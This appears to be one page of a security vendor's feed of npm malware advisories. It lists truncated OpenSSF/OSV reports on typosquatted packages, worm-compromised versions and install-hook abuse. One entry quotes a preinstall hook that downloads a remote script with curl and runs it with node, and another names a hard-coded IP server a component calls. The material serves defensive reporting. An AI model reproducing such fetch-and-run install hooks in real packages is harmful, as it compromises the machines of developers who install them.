npm malware reports, with evidence.
Explore malware, protestware, install-hook abuse, staged payload carriers, crypto mining, and typosquatting. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 714
Updated 27 Oct 2026, 23:06 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-3651 blocks this version. Two malicious npm packages published by the `micresoft` account (typosquatting "microsoft") are part of a coordinated suppl...
OpenSSF/OSV malware advisory MAL-2026-6296 blocks this version. package.json declares a preinstall lifecycle hook that runs `curl https://poc.amanrawat.com/hehe.js -o index.js && node ind...
OpenSSF/OSV malware advisory MAL-2026-3363 blocks this version. The package mrdaa-frontend was found to contain malicious code.
OpenSSF/OSV malware advisory MAL-2026-3606 blocks this version. This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor.
OpenSSF/OSV malware advisory MAL-2026-3606 blocks this version. This package was compromised as part of the "Mini Shai-Hulud is back" worm by the TeamPCP threat actor.
OpenSSF/OSV malware advisory MAL-2026-5539 blocks this version. OSV/OpenSSF confirms mermaid-v11@9999.0.2 as malicious package MAL-2026-5539. Malicious code in mermaid-v11 (npm)
OpenSSF/OSV malware advisory MAL-2026-5539 blocks this version. OSV/OpenSSF confirms mermaid-v11@9999.0.1 as malicious package MAL-2026-5539. Malicious code in mermaid-v11 (npm)
OpenSSF/OSV malware advisory MAL-2026-5539 blocks this version. OSV/OpenSSF confirms mermaid-v11@9999.0.0 as malicious package MAL-2026-5539. Malicious code in mermaid-v11 (npm)
OpenSSF/OSV malware advisory MAL-2026-6132 blocks this version. package.json declares `preinstall: node index.js`, which fires automatically on `npm install`. index.js collects hostname,...
OpenSSF/OSV malware advisory MAL-2026-6132 blocks this version. package.json declares `preinstall: node index.js`, which fires automatically on `npm install`. index.js collects hostname,...
OpenSSF/OSV malware advisory MAL-2026-4805 blocks this version. The package's exported `Metricflow` React component defaults `serverUrl` to `http://51.38.65.105:21531` and, when rendered,...
OpenSSF/OSV malware advisory MAL-2026-6094 blocks this version. Package declares a postinstall lifecycle hook (`"postinstall": "node run.js"` in package.json) that executes run.js automat...
OpenSSF/OSV malware advisory MAL-2026-5983 blocks this version. On install, package.json declares `postinstall: node run.js`, which auto-executes run.js when the package is installed. run...
OpenSSF/OSV malware advisory MAL-2026-5982 blocks this version. On install, package.json runs `postinstall: node run.js`. run.js imports os, fs, http, https, and child_process and at runt...
OpenSSF/OSV malware advisory MAL-2026-5981 blocks this version. package.json declares a postinstall hook ("postinstall": "node run.js") that executes run.js automatically on every npm ins...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...
OpenSSF/OSV malware advisory MAL-2026-5858 blocks this version. Package declares `"postinstall": "node run.js"` in package.json, causing automatic execution of bundled beacon scripts on `...